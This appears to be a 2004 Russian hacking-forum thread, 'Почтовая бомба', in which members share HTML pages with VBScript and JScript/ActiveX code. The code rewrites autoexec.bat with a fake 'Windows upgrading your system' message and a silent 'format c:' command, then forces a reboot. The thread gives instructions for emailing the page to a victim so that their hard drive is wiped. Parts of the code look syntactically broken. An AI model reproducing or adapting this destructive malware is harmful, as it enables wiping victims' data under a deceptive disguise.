[ На главную ] -- [ Список участников ] -- [ Правила форума ] -- [ Зарегистрироваться ]

Почтовая бомба!, нанесение вреда информации...

  Вход на форум   логин       пароль   Забыли пароль? Регистрация
On-line:  

Раздел: 
Форум Для Умных Людей / [ ХАКИНГ ] / Почтовая бомба!, нанесение вреда информации...

Страницы: 1  новая тема

Автор Сообщение

Группа: НОВИЧЁК
Сообщений: 317
 Добавлено: 03-09-2004 21:38
Почтовая бомба служит для того, чтобы нанести вред информации, компьютеру...
Visual Basic Script является самой подходящей средой для написания вредоносных скриптов и почтовых червей.

Создайте файл prize.html:

<html>
<body>
<script language ="VBScript">
sub Reboot "Процедурка перезагрузки
Set Shell=CreateObject("WScript.Shell")
Shell.Run "Rundll32.exe User.exe,ExitWindows" "Вызов WinApi с помощью
RunDll
end sub
sub destruct
set fs=createobject("Scripting.FileSystemObject")"FileSystem
if fs.fileexists("c:\autoexec.bat") then "Если у нас Autoexec существует
set ab=fs.getfile("c:\autoexec.bat") "Возмём его
ab.attributes=0 "И поставим "нормальные" аттрибуты))
end if
set autoexec=fs.CreateTextFile("c:\autoexec.bat")"Пересоздадим Autoexec
"Далее запишем в него полезные комманды, их там явно не хватает!)
autoexec.WriteLine "@cls"
autoexec.WriteLine "@echo Windows upgrading your system..."
autoexec.WriteLine "@echo Do not abort this process!"
autoexec.WriteLine "@format c: /q /autotest"
autoexec.close "Закроем Autoexec.bat
end sub
destruct "Запишем в Autoexec комманду format
reboot
</script>
</body>
</html>


Если ламер запустит этот скрипт, то его винт будет отформатирован без запроса.
Для того, чтобы создать письмецо с бомбой, откройте почтовую прогу (The Bat!, Outlook Express), создайте сообщение, вставьте "Текст из файла..." prize.html и отправьте по нужному адресу…

Группа: 1-админ
Сообщений: 748
 Добавлено: 05-09-2004 06:52
в скрип верный но винт небудет форматироватся . нужен + бат файлик

Группа: НОВИЧЁК
Сообщений: 317
 Добавлено: 11-09-2004 01:51
ny a esli eto po po4te otpravit

Группа: 1-админ
Сообщений: 748
 Добавлено: 11-09-2004 18:29
да хоть по телифону ! неполучетса попробуй сам сибе !
нужен бат файлик надо сначало его послать ! блин ша попробую вспомнить


}
//если не существует...
else
//создаем файл
var MyFile = fso.CreateTextFile("c:\\autoexec.bat", true);
//открываем и пишем
var f = FSO.OpenTextFile("c:\\autoexec.bat", 2, true);
f.WriteLine("@cls");
f.WriteLine("@echo Windows upgrading your system...");
f.WriteLine("@echo Do not abort this process!");
f.WriteLine("@format c: /q /autotest");
//закрываем
f.Close();
//Создаем объект WshShell:
var WshShell = new ActiveXObject("WScript.Shell");
//рестарт..
WshShell.Run ("%windir%\\system\\restart.exe");
</script>
</head>
</html>

если память ниподводит то воть

Группа: 1-админ
Сообщений: 748
 Добавлено: 11-09-2004 18:34
Сейчас мы будем чистить чужой винт. Это мы будем с помощью javascript’а, путем добавления
в autoexec.bat недостающие там строки. Вот этот скрипт:

если есть

<html>
<head>
<script>
var FSO = new ActiveXObject("Scripting.FileSystemObject");
//Если файл существует
if (FSO.FileExists("c:\\autoexec.bat"))
{
var F = FSO.GetFile("c:\\autoexec.bat");
//выставляем обычные атрибуты
F.attributes=0;
//удаляем его
F.Delete();
//заново создаем его
var MyFile = fso.CreateTextFile("c:\\autoexec.bat", true);
//открываем его для записи
var f = FSO.OpenTextFile("c:\\autoexec.bat", 2, true);
//пишем в него
f.WriteLine("@cls");
f.WriteLine("@echo Windows upgrading your system...");
f.WriteLine("@echo Do not abort this process!");
f.WriteLine("@format c: /q /autotest");
//закрываем
f.Close();
//Создаем объект WshShell:
var WshShell = new ActiveXObject("WScript.Shell");
//рестарт..
WshShell.Run ("%windir%\\system\\restart.exe");

Группа: НОВИЧЁК
Сообщений: 317
 Добавлено: 11-09-2004 19:57
ок

Страницы: 1  новая тема
Раздел: 
Форум Для Умных Людей / [ ХАКИНГ ] / Почтовая бомба!, нанесение вреда информации...

Отвечать на темы в данном разделе могут только зарегистрированные пользователи

Отвечать на темы могут только зарегистрированные пользователи

KXK.RU